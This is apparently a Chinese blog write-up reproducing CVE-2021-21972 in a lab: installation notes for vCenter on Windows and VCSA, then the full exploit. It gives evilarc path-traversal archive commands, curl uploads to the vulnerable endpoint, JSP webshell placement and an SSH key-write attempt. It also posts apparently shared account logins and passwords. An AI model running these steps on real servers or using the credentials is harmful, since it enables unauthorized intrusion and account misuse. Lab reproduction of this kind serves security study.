返回
顶部

参考链接

漏洞描述

CVE-2021-21972:未经认证的文件上传导致的RCE

影响范围

VMware vCenter Server 7.0系列 < 7.0.U1c

VMware vCenter Server 6.7系列 < 6.7.U3l

VMware vCenter Server 6.5系列 < 6.5 U3n

下载链接

百度云下载

这里提供一些百度云VIP共享账号,兄弟们可以用这些账户高速下载

当然,你也可以自行下载安装镜像:

下载这个需要登录,这里直接提供一个账户供大家使用:

[email protected]
xkacon123j!$Ehh.onli

安装

windows

建议使用windows server 2012 R2

内存要求至少8G

推荐使用物理及安装,我在使用vmware虚拟机安装时遇到未知错误,未解决

此外,当前机器不能是域控制器

所安装的机器 不能是域控制器

先安装更新Windows8.1-KB2919355-x64.msu,然后再安装更新Windows8.1-KB2999226-x64.msu

如果在安装更新时出现无法找到指定路径的错误,可创建目录C:\programdata\package cache,再重新安装即可,之后便可安装vcenter6.7

密码:

[email protected]
qwe123...A

安装完成之后打开https://your-computer-IP/ui/进行登录

vCenter登录界面和控制面板:

1615031010413

1615030907188

linux

linux安装vCenter其实就是将虚拟机部署到esxi中的过程

linux版的vCenter叫做VCSA(vCenter Server Appliance)

在镜像中有一个ova文件,理论上来讲,直接使用vmWare workstation导入该虚拟机即可,但是我尝试过多次,均以各种报错告终,最后还是老老实实在vmware workstation中安装了esxi,然后部署vcsa

注意,在安装esxi的时候,内存要大于10G,推荐分配12G,磁盘要大于240G

我建议各位在安装的时候最好先搞一个DNS服务器(可以通过安装AD中的集成DNS实现),以配置域名,不然在安装vcsa的时候,可能会出现机器名无效的错误

安装完成

1615144987239

在配置的时候我设置的DNS服务器是自己的,FQDN也是penhub.space域(我的AD-DNS域)

1615145353856

漏洞复现

检测漏洞

在未登录的情况下直接访问https://your-computer-IP/ui/vropspluginui/rest/services/getstatus

如果返回如下响应及证明CVE-2021-21972(认证绕过)漏洞存在

1615031410292

针对windows环境

首先制作一个恶意的tar压缩包,这里我使用evilarc.py

使用的jsp木马是Browser.jsp

使用如下命令构造恶意压缩包:

python evilarc.py -d 2 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar Browser.jsp

其中-d选项指定层级,2层就足够穿越到C:\根目录了,当然为了保险起见,你可以写一个更大的值

ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport是要穿越到的目录,这个目录中的jsp文件可以直接从web端访问到

然后使用curl将制作好的恶意压缩包上传至vCenter服务器

curl -k -F "[email protected]" https://your-computer-IP/ui/vropspluginui/rest/services/uploadova

然后访问我们的webshell(https://your-computer-IP/statsreport/Browser.jsp)可:

1615096255304

1615096313379

可以看到,我们的权限是nt authority\system

linux环境

首先验证漏洞

访问如下路径:

https://photon-machine.penhub.space/ui/vropspluginui/rest/services/getstatus

1615145462430

存在未授权漏洞

对于linux,我们直接写ssh公钥到/home/vsphere-ui/.ssh/authorized_keys文件

构造恶意压缩包,注意这次的格式是unix

python evilarc.py -d 2 -p 'home/vsphere-ui/.ssh' -o unix -f exp.tar authorized_key

上传恶意压缩包

curl -k -F "[email protected]" https://photon-machine.penhub.space/ui/vropspluginui/rest/services/uploadova

登陆成功

1615151006290

这种方式看很有可能不会奏效,因为vcsa默认情况下是关闭ssh的

在esxi控制台中进入vcsa虚拟机,F2进入管理界面,输入密码,选中Troubleshooting Mode Options

1615146371026

1615146459952

可以看到,ssh默认是关闭的,你使用ssh工具去连接,也是连不上的

1615146514625

只有当管理员打开了这个选项的时候使用这种利用方式才行得通,但是一般情况下是不会打开的,因为没必要,esxi本身就可以远程管理

根据上面windows的利用方式,考虑上传文件到如下位置:

/usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport

1615151103698

构造恶意压缩包

python evilarc.py -d 2 -p 'usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport' -o unix -f winexpl.tar Browser.jsp

上传恶意压缩包

curl -k -F "[email protected]" https://photon-machine.penhub.space/ui/vropspluginui/rest/services/uploadova

直接返回FAILED

估计是权限的原因,这个目录我写不进去文件

drwxr-xr-x 9 perfcharts cis 4096 Mar  7 18:38 /usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport

我当前的用户是vsphere-ui,因此无法写入,上传过程中出现异常,返回FAILED

使用网上的exp,成功上传shell(冰蝎)1615152723055

看了一下利用代码,利用的路径是/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global

在该路径下有很多以数字命名的目录,部分目录中存在可以直接从前端访问的资源文件

至于这个目录是怎么找到的,其实很简单,登录进vsphere html5 client之后,随便找个图片或者css文件,在vcsa中用find命令找一下就找到了

由于不知道目录名和war包名的对应关系(可能根本就没有关系,目录名是根据war部署先后顺序确定的),因此exp代码中采用了爆破的方式,将所有的目录都试一遍